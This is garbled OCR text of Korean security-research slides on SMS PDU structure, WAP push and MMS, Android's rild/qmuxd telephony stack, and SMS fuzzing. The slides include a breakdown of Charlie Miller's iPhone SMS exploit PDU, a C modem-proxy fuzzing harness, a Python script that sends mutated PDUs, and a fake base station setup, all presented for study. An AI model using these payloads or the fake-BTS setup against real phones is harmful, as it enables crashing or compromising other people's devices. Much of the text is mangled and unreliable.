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PDU Decoding

 https://www.diafaan.com/sms-tutorials/gsm-modem-tutorial/online-

sms-deliver-pdu-decoder/
 http://www.smspdu.com/

Online SMS-DELIVER PDU Decoder

-DELIVER PDI t Data Unit) is the encoded SMS mess
0 your D0 Moderm.

ode any SMS-DELIVER PDU.

140BA11020675200F200

Text message
From:

Message:

Additional information

PDU type: SM5-DELIVER
Time stamp: /08/2017 15:30:
SMSC:

Data coding: Unicode

Original Encoded PDU fields

SMSC: 07 280192919000
PDU header:

TP-MTI:

TP-MMS:

TP-SRI:

TP-RP:

TP-UDHI:
TP-OA:
TP-PID:
TP-DCS:
TP-SCTS:
TP-UDL:
TP-UD:




POU % =4517|

91280192919000 OBAT 00 7180225
103336304
HEX Data EE o|nj g2E Zo|

07 SMSC Bz 9| 40| : N1 Tbyte
91 M= O| EtR : 91 == International Tbyte
280192919000 SMSC ¥ : 821029190900 N1-1(type) bytes
04 PDU Header : SMS_DELIVER 1byte
0B (11) SAXIol M 20l : N2 1byte
AT SAA H2 9| EfY == Local Tbyte

1020675200F2 SAR 2 1 01027625002 N2 bytes
00 TP-PID (Protocol Identifier) Tbyte
08 TP-DCS (Data Encoding Schema) : UNICODE Tbyte
71802251033363 TP-SCTS (Time Stamp) : 17/08/22 15:30:33 36(T2) 7bytes
04 TP-UDL (User Data Length) : N3 Tbyte
00480069 TP-UD (User Data) : "Hi" N3 bytes




PDU Header G4 AIA|s] &©2]

The First-Octet field format is as follows:

04

BGOSR [ [

— TP_SRI : O All the value are given for the most simple case, for more details see the GSM 03.40 (section 9.2.3).
a) TP-Message-Type-Indicator (TP-MTI)
_ TP_RP . 0 In the case of a SMS-DELIVER, the two bits, bit 0 and bit 1, should be set with the values 0 and 0.

b) TP-More-Messages-to-Send (TP-MMS)
— TP-UDHI: O The TP-More-Messages-to-Send is a 1-bit field, located within bit no 2 of the First-Octet of SMS-DELIVER, and
to be given the following values:

Bit 2 Definition
TP—MTI 0  More messages are waiting for the MS in this SC

1 Mo more messages are waiting for the MS in this SC
— 00 : SMS-DELIVER

c) TP-Status-Report-Indication (TP-SRI)
— AAl For simplified SMS, the PDU does not contain any Status report, also the bit no. 5 of the first octet is given 0.
2 SMS

_ O-I - SMS_SUBMIT d) TP-User-Data-Header-Indicator (TP-UDHI)

For simplified SMS, the PDU does not contain any Header in addition to the short message, also the bit § within
—  AA| SMS the First-Octet is equal to 0.
[ J Bis

e) TP-Reply-Path (TP-RP)
For simplified SMS, the reply path is not specified. In this case the bit 7 within the First-Octet is equal to 0.




PDU Header G4 AIA|s] &©2]

The First-Octet field format is as follows:

04

BGOSR [ [

— TP_SRI : O All the value are given for the most simple case, for more details see the GSM 03.40 (section 9.2.3).
a) TP-Message-Type-Indicator (TP-MTI)
_ TP_RP . 0 In the case of a SMS-DELIVER, the two bits, bit 0 and bit 1, should be set with the values 0 and 0.

b) TP-More-Messages-to-Send (TP-MMS)
— TP-UDHI: O The TP-More-Messages-to-Send is a 1-bit field, located within bit no 2 of the First-Octet of SMS-DELIVER, and
to be given the following values:

2 Definition
TP—MTI 0  More messages are waiting for the MS in this SC
1

Mo more messages are waiting for the MS in this SC
— 00 : SMS-DELIVER

c) TP-Status-Report-Indication (TP-SRI)
— AAl For simplified SMS, the PDU does not contain any Status report, also the bit no. 5 of the first octet is given 0.
2 SMS

— . - d) TP-User-Data-Header-Indicator (TP-UDHI)
01 : SMS SUBMIT For simplified SMS, the PDU does not contain any Header in addition to the short message, also the bit 6§ within

_ %_)\d NYS the First-Octet is equal to 0.

e) TP-Reply-Path (TP-RP)
For simplified SMS, the reply path is not specified. In this case the bit 7 within the First-Octet is equal to 0.




POUE SMS HEL]{E]

Online PDU Converter : http://rednaxela.net/pdu.php

Javascript PDU Converter wiiter

vy Resultant 7/8/16 Bit readable PDU Mes:

+521011112222

0:
© 708014 F;‘: D.“ GE=2
MNone ¥

Convert = Convert = |



POUE SMS HEL]{E]

Online PDU Converter : http://rednaxela.net/pdu.php

cat /dev/smd0 &
./busybox printf "at+cmgf=0Wr#¥n" > /dev/smd0 // PDU MODE
./busybox printf "at+cmgs=18Wr#¥n" >/dev/smd0 // Length
./busybox printf
"079128011111222201000B811080423429F60004054855583894Wx
1a" > /dev/smd0




Modem deviceE 5ol SMS ELH2|

-1.3: new high-speed USE device number & using dwc otg
-1.3: Hew USB device found, idVendor=1004, idProduct=6l1fl
usk 1-1.3: Hew USE device strings: Mfr=2, Product=3, SerialNumber=4
-1.3: Product: LGE Android FPhone
-1.3: Mamufacturer: LG Electronics Inc.
usb 1-1.3: SerialNumber: 083dcdcS4eef30ds
cdc acm 1-1.3:1.0: ttyACMO: USB ACH device

screen /dev/ttyACMO 115200

at+cmgf=0

at+cmgs=24
079128011111222201000B811020675200F200000CF4F29COE6A97E
7F3F0B90C

+CMGS: 59
(0] ¢




Modem deviceE Solf

« ATD01027625002;




Modem deviceS §dll Lock =2

* AT%KEYLOCK

int
{

return sub_34CCE({""ATZKEYLOCK™, {int)sub_3776C);
H

signed int _ fastcall sub 3776C()
\
return 1;

PPWDINIT ¥




Modem deviceE S5l Lock =]

* https://www.youtube.com/watch?v=04jKegDiEpM




MMS(Multimedia Messaging Service)
HLo|



MMSZ2| PDU t|o]&

G Aa®D..

UHEEEE:
070-3051-3483

20179 88 232 =R

Aaaaaaaaaaaaaaaaaaaaaaaaaa
ddaaaaaaaaaaaaaaaaaaaaaaaa
ddaaaaaaaaaaaaaaaaaaaaaaaa
ddaaaaaaaaaaaaaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaa

osr> aaaabbbbb

@
203451617891} 0
QIWREJRJTRYJURIJO}P

AJSIDJFIGIHJJRK]JL
ZgXgcjvisNgMp &

«

shell@b1:/ $ logcat | grep PDU

I/[SMS_LP]( 1664):
grcl)vcl_?ssglr]solicited():RIL_UNSOL_RESPONSE_NEW_SM
0791280192919000400BA11020675200F200047180326
1211263820805040B8423F00003770201770622617070
6C69636174696F6E2FT66E642E7761702E6D6D732D6
D65737361676500AF848C829831397748384E4730433
14958443030008D928A808E01A788058103093A80836
87474703A2F2F642D6D6D73632E6B746677696E672E
3835883A393038332F31397748384E47304331495844

I/[SMS_LP]( 1664):

grc&/cl_?ssglr.}solicited():RIL_UNSOL_RESPONSE_NEW_SM
0791280192919000440BA11020675200F200047180326
12112632E0B0504088423F00003770202890F800DEA3
(1)2112106%26%586323530303200960FEA41616161616161616



Resultcode : 10

Resultmessage: Success

Type: SMS-DELIVER

PDU len: 157 bytes

Originator: 01027625002

Message: 0B05040B8423F000037702017706226170706C69636174696F6E2F766E642E7761702E6D6D732D6D
65737361676500AF848C829831397748384E473043314958443030008D928A808E01A78805810309
3A8083687474703A2F2F642D6D6D73632E6B746677696E672E636F6D3A393038332F31397748384E
47304331495844303000

Timestamp: 23/08/2017 17:12:21

SMSC: +821029190900

Data coding scheme:Binary (4)

Message-part: 1/1

Original values:

SMSC: 80192919000
PDU-Header: 40
TP-MTI:

TP-MMS: 00

TP-SRI: 0o

TP-RP: 00

TP-UDHI: 40

TP-OA: 0BA11020675200F2

TP-PID: 00

TP-DCS: 04

TP-SCTS: 71803261211263

TP-UDL: 82

TP-UD: 0B05040B8423F000037702017706226170706C69636174696F
BE2F766E642E7761702E6D6D732D6D65737361676500AF848C
8208313977483584E473043514958443030008D928A808E01A7
88058103093A8083687474703A2F2F642D6D6D73632E6B7466
77696E672E636F06D3A393038332F31397748584E4730435149
2844303000




Resultcode : 10

Resultmessage: Success

Type: SMS-DELIVER

PDU len: 73 bytes

Originator: 01027625002

Message: 0B05040B8423F00003770202890F800DEA303130323736323530303200960FEA4161616161616161
616161616100

Timestamp: 23/08/2017 17:12:21

SMSC: +821029190900

Data coding scheme:Binary (4)
Message-part: 1/1

Original values:

SMSC: 6794280192919000

PDU-Header: 44

TP-MTTI: o

TP-MMS: 04

TP-SRI: 00

TP-RP: 00

TP-UDHI: 40

TP-OA: 0BA11020675200F2

TP-PID: 00

TP-DCS: 04

TP-SCTS: 71803261211263

TP-UDL: 2E

TP-UD: 0B05040B8423F00003770202890F800DEA3031303237363235
30303200960FEA4161616161616161616161616100




TP-UDHI

SMSo|| =2t 5llti§ ESAIY

The First-Octet field format is as follows:

TP-UDHI P-SRI - TP-MMS TP-MTI

All the value are given for the most simple case, for more details see the GSM 03.40 (section 9.2.3).
a) TP-Message-Type-Indicator (TP-MTI)
In the case of a SMS-DELIVER, the two bits, bit 0 and bit 1, should be set with the values 0 and 0.

b) TP-More-Messages-to-Send (TP-MMS)
The TP-More-Messages-to-Send is a 1-bit field, located within bit no 2 of the First-Octet of SMS-DELIVER, and
to be given the following values:

2 Definition

0  More messages are waiting for the MS in this SC
1 Mo more messages are waiting for the MS in this SC

c) TP-Status-Report-Indication (TP-SRI)
For simplified SMS, the PDU does not contain any Status report, also the bit no. 5 of the first octet is given 0.

d) TP-User-Data-Header-Indicator (TP-UDHI)

For simplified SMS, the PDU does not contain any Header in addition to the short message, also the bit 6 within
the First-Octet is equal to 0.

e} TP-Reply-Path (TP-RP)
For simplified SMS, the reply path is not specified. In this case the bit 7 within the First-Octet is equal to 0.




o0 v.

CtE2| sliAE|= User Data

sHuoreE -
010-3051-3483

%)
(%

MMS

H
H
H
H

AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAABBBBB
BBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBB

@

TR23 4546748490

QIWREJREITRYJURIJOP

AJSIDIFIGIHRJEKJL

ZIXjCiViBINIME @&

s Y%

— .

shell@b1:/ $ logcat | grep PDU

I/[SMS_LP]( 1664):
grcl)vcl_?ssglr]solicited():RIL_UNSOL_RESPONSE_NEW_SM
?;719112268301 92919000400BA11020675200F200047180326

I/[SMS_LP]( 1664):
grcl)\dc_?ssglrjsolicited():RIL_UNSOL_RESPONSE_NEW_SM
?;719112268301 92919000440BA11020675200F200047180326



CtE2| sliAE|= User Data

140 bytes

ZE on|
UDHL (User Data Header Length)
IEI (Identity Element Identifier)

IEDL (Length of the Information Element Data)

IED (Information Element Data)

1byte
Tbyte
N-1(type) bytes

Nbyte



CtE2| sliAE|= User Data

0B05040B8423F000037702017706226170706C69636174696F6E2F766E642E7761702E6D6D
732D6D65737361676500AF848C829831397748384E473043314958443030008D928A808E01A7

88058103093A8083687474703A2F2F642D6D6D73632E6B746677696E672E636F6D3A3930383
32F31397748384E47304331495844303000

0B05040B8423F00003770202890F800DEA303130323736323530303200960FEA41414141414
14141414141414100

82 : TP-UDL (User Data Length)
0B : UDHL (User Data Header Length)

IE : Information Elements
— 05 : IEI (Identity Element Identifier)

— 04 : IEDL (Length of the IE Data)
- 0B84 (2948 - WAP push)
« 23F0 (9200)



IEI (Identity Element Identifier)

VALUE (hex)
00

MEANING
Concatenated short messages, 8-bit reference number

Special SMS Message Indication

Reserved

Value not used to avoid misinterpretation as <LF> character
Application port addressing scheme, 8 bit address
Application port addressing scheme, 16 bit address

SMSC Control Parameters

UDH Source Indicator

Concatenated short message, 16-bit reference number

Wireless Control Message Protocol

Text Formatting

Predefined Sound

User Defined Sound (iMelody max 128 bytes)

Predefined Animation

Large Animation (16*16 times 4 = 32*4 =128 bytes)
Small Animation (8*8 times 4 = 8*4 =32 b
Large Picture (32%32 = 128 bytes)

Small Picture (16*%16 = 32 bytes

Variable Picture

Reserved for future EMS features (see section 3.10
Reserved for future use

(UHSIM Toolkit Security Headers

SME to SME specific use

Reserved for future use

SC specific use

Reserved for future use

* ftp://www.3gpp.org/tsg_t/TSG_T/TSGT_07/Docs/PDFs/TP-000043.pdf



Samsung Galaxy F2F

* https://www.contextis.com/blog/wap-just-happened-my-
samsung-galaxy

WAP just happened to my Samsung Galaxy?




Application Port

* Port 2948 = WAP push
— Wireless Application Protocol
- B oFEAOIE REF
- Fd FUS MEdle 8 RO N BE

* https://namu.wiki/w/ $49%200iF2I7C|1¥1 %2022 EF

 Port 5499 = visual voicemail

e ——
OO



5 ¥l Information Element

0B05040B8423F0 7706226170706C69636174696F6E2F766E642E7761702E6D6D
732D6D65737361676500AF848C829831397748384E473043314958443030008D928A808E01A7
88058103093A8083687474703A2F2F642D6D6D73632E6B746677696E672E636F6D3A3930383
32F31397748384E47304331495844303000

0B05040B8423F0 890F800DEA303130323736323530303200960FEA41414141414
14141414141414100

IE : Information Elements
— 00 : IEI (Identity Element Identifier)

— 03 : IEDL (Length of the IE Data)
« 77 : Reference Number
* 02 : Total number of messages
* 01 : Number of current message

2 : https://www.clockworksms.com/blog/concatenated-sms/



User Data

- 820B05040B8423F00003770201

- 2E0B05040B8423F00003770202

41000491317300F54E0B05040B8423F0000387010

Src/Dest port Multipart
Trans Id F’ll s hWSP header

BBEAFS‘ C8298313333350@8D9 ﬂ9068062617262617A00

6666F6F6261720 {ASOBE020805580581030151805368747470

Subject Messac (-Mms-Expi

A2F2F676F6F676C652E636F6D00

X-Mms-Content-Location

WAP Push Header



User Data @4

>>> str =
"b006226170706c69636174696f6e2f766e642e7761702e6d6d732d6d65737361676500af848c
8298343577483952323048305446343030008d928a808e01ac88058103093a8083687474703a
2f2f642d6d6d73632e6b746677696e672e636f6d3a393038332f3435774839523230483054463
4303000890f800dea303130323736323530303200960fea 00”

>>> str.decode("hex")
"WxbOWx06"application/vnd.wap.mms-
messageWx00Wxafix84Wx8cix82Wx9845wHIR20HOTF400Wx00Wx8d¥x 92\ x8attx80Wx8etx
01¥WxacWx88Wx05Wx81¥Wx03Wt:Wx80Wx83

Wx00Wx89Wx0fx80WriWxea01027625002Wx00W
x96Wx0ftWxeaAAAAAAAAAAAAAWXOO'

D/WAP PUSH( 1636): Rx: b006226170706c69636174696f6e2f766e642e7761702e6d6d732d6d6
5737361676500af848¢8298343577483952323048305446343030008d928a808e01ac88058103093
a8083687474703a2f2f642d6d6d73632e6b746677696e672e636f6d3a393038332f3435774839523
2304830544634303000890f800dea303130323736323530303200960fea414141414141414141414
1414100

V/WAP PUSH( 1636): appid found: 4:application/vnd.wap.mms-message

W/WAP PUSH( 1636): wap push manager not found!

V/WAP PUSH( 1636): fall back to existing handler

V/WAP PUSH( 1636): Delivering MMS to: com.android.mms com.android.mms.transactio
n.PushReceiver

D/GsminboundSmsHandler( 1636): dispatchWapPdu() returned -1
http://mmsc.ktfwing.com:9082|Proxy:|Port:

V/Mms:transaction( 6933): url = http://d-mmsc.ktfwing.com:9083
/29wH9R2151KKA00

V/Mms:transaction( 6933): hostUrl.getHost()=d-mmsc.ktfwing.com hostUrl.getPort()

=9083

catl * v BOYVE alloox§ A 2:28

. 010-2762-5002 o W

-

Hi
23 2:23

HIS: AAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABBBB
BBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBB

F 2:23




Concatenated SMS

22 SMSQ| ol Zol= 160Xt
— 7-bit encoding ?|&
— 8-bit encodingoil’l 140X}

Concatenated SMSE o|&5t 21 Zo|o| FX}
A o

IEI IEDL Reference Total This
PDU1 Number Number Number
PDU 2 IEI IEDL Reference Total This
Number Number Number




Case study : iphone SMS RCE



Charlie Miller’s Payload

* 0791947106004034c40d91947196466656
f8000490108211421540040400030120

SMS PDU:

Other examples:
SMS-SUBMIT:

5SMS-DELIVER:
SMS-STATUS-REPCRT:

=
FFFFEEFFEFFFFEFFFEFFFFFEEFEFFFFFEEFEEFFFFEEFEFFFFFFFFFFFFFFFEFFFFFFFFEEERFE
FFFFEEFEEFFFFEFFEEFFEFEEEEERFFFFEEEEEFFFEEEEEEFFEE

PDU len:

Criginator:
=N

Header:
TP-MTIL:
TP-MMS:
TP-5RI:

TP-UDHI:
TP-O 0D9194719646¢
TP-PID oo
04
90108211421540
04
0400030120




Charlie Miller’s Payload

- SMSPOU:
g(7)%847 106004034c40d91947196466656180004901082114215400404000

— 07 : SMSC length

— 91: type of address

— 947106004034 : SMSC

— ¢4 : PDU Header = Additional header
— 0d: length

— 91: type of address

— 9471964666568 : &2LIX} address

— 00: TP-PID

— 04 : TP-DCS

— 90108211421540 : TP-SCTS : time stamp

— 04 : TP-UDL length
« 0400030120 : TP-UD (User Data)

— 00 : IEI == Concatenated message

— 03 :3 bytes
» 01 : reference number
» 20 : total number of messages
»  [none] : this message number



Charlie Miller’s Payload

* 00 : IEI == Concatenated message
— 03 : 3 bytes

* 01: reference number
20 : total number of messages

* [none] : this message number

— Sl 2+ -10]| T|o{tHE (error return)

— OFAl o] 8.80| array®| index& AMHE|HA out of bound bug LAY

« [Controlled_Address] [ SO S1S2 S3 S4] 2t &oj
heap= /8¢t & S0~S4 array?| -1 HZ =>
string_array[-1] =>
Controlled Address?l gt= SMS contents& HZXE 215



SMS Fuzzing



Ci3tel 2Rt T4 Al SAIAR] BUIEIY, XTH oM A
ZEEl POU S =2t
— 5 B M S0l 2lst packet drop

— =2 249 M Eof| o|$F PDU Data &
e MMS2I M2 XMAEl & 0 URLO| AcH ol Mgt &

578 payload?t A MHE 221F AIE & US



Android telephony stack

RSSSIASIE  Phone Application ( Dialer, SMS - ) é com.a nd rO|dm mSs

Application = & com.android.phone

Framework

& Jvar/rild 27

Librarie

(user sf

< /sbin/rild

& /var/gmux_connect_socket
< /usr/bin/gmuxd

& /dev/smdcntlO

< QUALCOMM MODEM




SMS £41 Al2| o]F 58

Tt

le/lacl)fjoenr;m QMI /usr/bin/gmuxd
/dev/smdcntl0
/var/gmux_connect_socket
com.android.phone /sbin/rild

/var/rild



SMS Fuzzing 25 32t

Tt

le/lacl)fjoenr;m QMI /usr/bin/gmuxd
/dev/smdcntl0
/var/gmux_connect_socket
com.android.phone /sbin/rild

/var/rild



SMS Fuzzing

// QMUXDOA M7 Q..

if (pfd[0].revents & POLLIN == POLLIN && pfd[0].fd == smd_rild_c) {
char buffer[1024*8] = {0};
int rb = read(smd_rild_c, buffer, sizeof(buffer));

if (rb <= 0) {
close(smd_rild_c);
smd_rild_c = -1;
}
else {
// MODEMS & T #rxx
int wb = write(smdreal, buffer, rb);
if (wb <= 0) {
printf("error writing to smdreal¥n");
}
}

}

// MODEMOj|M MZ7F @™
if (pfd[1].revents & POLLIN == POLLIN) {
char buffer[1024*8] = {0};
int rb = read(smdreal, buffer, sizeof(buffer));

if (rb <= 0) {
printf("error reading from smdreal¥n");
}
else {
// QMUXDE H&E
int wb = write(smd_rild_c, buffer, rb);
if (wb <= 0) {
printf("error writing to smb_rild_c#n");
close(smd_rild_c);
smd_rild_c = -1;
}
}




// MH{of HZHo| So{H..
if (pfd[2].revents & POLLIN == POLLIN && pfd[2].fd == nss) {
printf("client connected!¥#n");
nsc = accept(nss, NULL, NULL);
if (nsc < 0) {
nsc = -1;
}
else {
if (dolog) fprintf(log, "fuzz network connected¥n");

}

}

// SEI0|AEZHE H0O[E{7} SO{H..

else if (pfd[2].revents & POLLIN == POLLIN && pfd[2].fd == nsc) {
char buffer[4096] = {0};
int rb = read(nsc, buffer, sizeof(buffer));
if (rb <= 0) {

close(nsc);
nsc = -1;
if (dolog) fprintf(log, "fuzz network disconnected¥n™);

// QMUXDE M
int wb = write(smd_rild_c, buffer, rb);
if (wb <= 0) {
printf("fuzz write failed#n");

}




OxbeS516ec 01 17 00
OxbeS516fc 00 00 00

read msg from QMUXED
Oxbe95l16ec 01 10 0O
0xbed516fc 06

read msg from REAL
Oxbe95l6ec 01 13 00
0xbe8516fc 00 00 0O

read msg from QMUXED
Oxbe95l6ec 01 10 0O
OxbeS5lefe 01

read msg from REAL
Oxbe95l6ecs 01 13 00
Oxbef516fe 01 00 11




SMS Fuzzing

* PC Side
— python sms_fuzzing.py




import socket
import time

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(("127.0.0.1", 5050))
i=0

payload =
"013f0080050104000001003300160100001121000002000000061900040ba11010325476f80008718042712595630600310033003115080007912801

92919000
#time

for n in range(0x41, 0x41+28):
i=i+1

data = payload[:94] + "00" + chr(n).encode('hex’) + "00" + chr(n).encode('hex’) + "00" + chr(n).encode(‘hex’) + payload[94+12:]

data = data.decode('hex’)

#print data

print "WnWn[%d] send payload : %sWn" % (i, data)
client_socket.send(data)

time.sleep(1)

client_socket.close()
print "Finished"




Mutated PDU datas

07919471173254F6440D91947187674523F10000993092516195805A1CBCOAE0183C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3E3C3EFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F

07919471173254F6440D91947187674523F10000993092516195808215BA353B746F756368202F746D702F53554C4C45593B6AB55AAD56ABD56AB
55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD
56AB55AAD56ABD56AB55AAD56ABD56AB55AAD56ABD56AB55AAD16

07919471173254F6440D91947187674523F10000993092516195806C23B9212525252525252525252525252525252525252525252525252525252525
25252525B82FEESBFBE2BEB82FEESBFBE2BEBS2FEESBFBE2BEBS2FEESBFBE2BEB82FEESBFBE2BEBS2FEESBFBE2BEBS2FEESBFBE2BEBS2FEES8BOB

07919471173254F6440D91947187674523F1000099309251619580974FF74D2F2E2E2E2F414141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141DBED76BBDD6EB7DBED 76 BB
DD6EB7DBED76BBDD6EB7DBED76BBDD6EB7DBED76BBDD6EB7DBED76BBDD6EO1

07919471173254F6440D91947187674523F10000993092516195800B06163C5C5C3F5C25180C

07919471173254F6440D91947187674523F1000099309251619580885FD55D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D
3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3
D3D3D3D3D3D3D3D3D3D3D3D3D3D3D3D140A8542A15028140A8585

07919471173254F6440D91947187674523F10000993092516195809279A6772A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A
2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A22A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2
A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A22A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A

07919471173254F6440D91947187674523F10000993092516195807A40123E3131313131313131313131313131313131313131313131313131313131
31313131313131313131313131313131313131313131313131313131313131313172B95E2ED7CBE57AB95C2F97EBE572BD5CAE97CBF572B95E65FAF
8050FCFE77732

07919471173254F6440D91947187674523F10000993092516195809F87CD22DEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBEEFDEADBE
EFDEADBEEFDEADG616127272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272
727272727272727272727272727272727272727272727272727272727272727272727272727272727272727272727

07919471173254F6440D91947187674523F100009930925161958077168B143F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3F3FF7FBFD7EBFDFEFF7FBFD
7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEFF7FBFD7EBFDFEF
F7FBFD7EBFDFEFF701




&1 . Fake BTS

 BTS : Base Transceiver Station




AF N Fake BTS

Software
— OpenBTS

Hardware
— USRP N210

oS
— Debian 6.0

E
ﬁ



24
ERS

0|85t TCUE

« SMSE

3
(@

Sl & LiollA SMS Fuzzing 2t



Q/A



AFeiL|CH

I.

nD



7|E} ®XI=



& Al SMS vs £4A1 SMS

Al SMS (SMS-SUBMIT)

—0791280121432143010008811030503184F30
00004F4F29COE

— “test” $4I

of>

+ 44l SMS (SMS-DELIVER)

—0791280192919000040BA11030503184F3000
07180329175716304FA4F29COE

— “test 417



SMS-SUBMIT

Resultcode : 10
PY _Ah A S M S Resultmessage: Success
O Type: SMS-SUBMIT
PDU len: 25 bytes
Recipient; 01030513483
Message: test
SMSC: +821012341234
O 1 O B8 1 1 O 3 0 5 0 3 1 Data coding scheme: SMS Default Alphabet (0)
Message-id: 0
84F3 00 FA4F29 e :
Message-part: 1/1
C O E Validity-format: None
Validity-timestamp: 0 day(s), 0 hour(s) hours

Original values:

EELTH . 3?9128:}121432143
° -Header: 1
* PDU Header : 0x01 TP MTL o1
— TP-MTI : 01 e
o Ly o

— I X o

° TP MR =— _|_7|- I‘E-EE:'_ ggﬂllﬂﬂﬁSDBl&lFS

(1byte) TP 0

TP-VP:
TP-UDL: 04
TP-UD: F4F29C0E




SMS-DELIVER

o AN AI SMS Resultcode : 10
T W. Resultmessage: Success
Type: SMS-DELIVER
PDU len: 31 bytes
Originator: 01030513483
O 4 Message: test
Timestamp: 23/08/2017 20:57:17

OO 7 1 80 3 2 9 1 ?)hadtsacéoding scheme: ;Sélgsfgaluglto ?\(I);?habet (0)

Message-part: 1/1

757163 FAF29C0

E Original values:

SMSC: 0791280192919000
PDU-Header:
TP-MTI:
TP-MMS:
. TP-SRI:
* PDU Header : 0x04 TORP:
— TP-MTI : 00 E:SI%:: gg 11030503184F3
TP-DCS: 00
— TP-MMS : 1 TP-SCTS: 71803291757163

TP-UDL: 04
TP-UD: F4F29COE




POU-Header in SMS-SUBMIT

* 01 = SMS_SUBMIT

The First-Octet field format is as follows:

TP-RP | TP-UDHI | TP-SRR TP-VPF TP-RD TP-MTI

All the value are given for the most simple case, for more details see the GSM 03.40 (section 9.2.3).

a) TP-Message-Type-Indicator (TP-MTI)
In the case of a SMS-SUBMIT, the two bits, bit 0 and bit 1, should be set with the values 0 and 1.

b) TP-Reject-Duplicates (TP-RD)
The bit 2 is set to 0, indicating the Service Center can accept an SM3-SUBMIT, which has the same TP-MR and
the same TP-DA as a previously submitted from the same Originated Address.

c) TP-Validity-Period-Format (TP-VPF)
In the case of simplified SMS in PDU mode, we will consider that there is no validity period, in this case the TP-
Validity-Period-Format value, represented by the bits 4 and 3, is 0.

d) TP-Status-Report-Request (TP-SRR)
To simplify, no status report is requested. In this case the bit 5 within the First-Octet is set to 0.

€) TP-User-Data-Header-Indicator (TP-UDHI)
To simplify, the PDU does not contain any Header in addition to the short message, also the bit 6 within the
First-Octet is set to 0.

f) TP-Reply-Path (TP-RP)
To simplify, the reply path is not specified. In this case the bit 7 within the First-Octet is set to 0.

* http://www.sendsms.cn/old/download/wavecom/PDU%B6%CC%D0%C5%CF%A2/SMS_PDU-mode.PDF



Android telephony stack
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Android telephony stack

RISSISEIRISNY phone Application ( Dialer, SMS

Application
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Android telephony stack
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Framework
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< QUALCOMM MODEM




Rild2| socket &

A'I

/ # netstat —anp

Active UNIX domain sockets (servers and established)

Proto RefCnt Fla
unix 3 [ ]
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #

e e e e e e e e e e O e O e

WWNDWWWWN WWwWwhNh wWwoNoho &~ WD WD W

gs

«
(@)

Qo QO
[N oNe!

[oNeoRON®)
OO0

Type
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM
STREAM
STREAM
DGRAM
STREAM
STREAM

State

CONNECTED
CONNECTED
LISTENING
CONNECTED
LISTENING
LISTENING
CONNECTED
LISTENING
LISTENING

LISTENING
LISTENING
LISTENING
LISTENING
CONNECTED
CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED
CONNECTED
CONNECTED

CONNECTED
CONNECTED

[-Node
1787
1834
1895
1927
1971
1972
1973
1811
1906
1868
1908
1922
1979
1930
2040
2039
1991
1985
1984
1982
1976
1966
1928
1925
1871
1809
1808

PID/Program name
226/ at fwd_daemon

Path
/var/qmux_client_socket

259/qmi_shutdown_mo /var/qmux_client_socket
242/ qmuxd /var /qmux_connect_socket
256/netmgrd /var/qmux_client_socket
329/rild /var/rild

329/rild /var/rild-debug
329/rild /var/qmux_client_socket
250/ adbd @jdwp-control

330/ commander @COMMANDER

280/syslogd /dev/log
331/wifi_daemon /tmp/wifi
338/FOTA_DAEMON /tmp/ua

327/start @android

339/debuggerd @debuggerd

250/ adbd

250/ adbd

327/start @android

329/rild /var/rild
363/com.android.phone

363/com.android.phone

242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
242 /qmuxd /var /qmux_connect_socket
286/klogd

250/ adbd

250/ adbd

226
259

256

329




Rild2| socket &

A'I

/ # netstat —anp

Active UNIX domain sockets (servers and established)

Proto RefCnt Fla
unix 3 [ ]
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
unix
/ #

e e e e e e e e e e O e O e

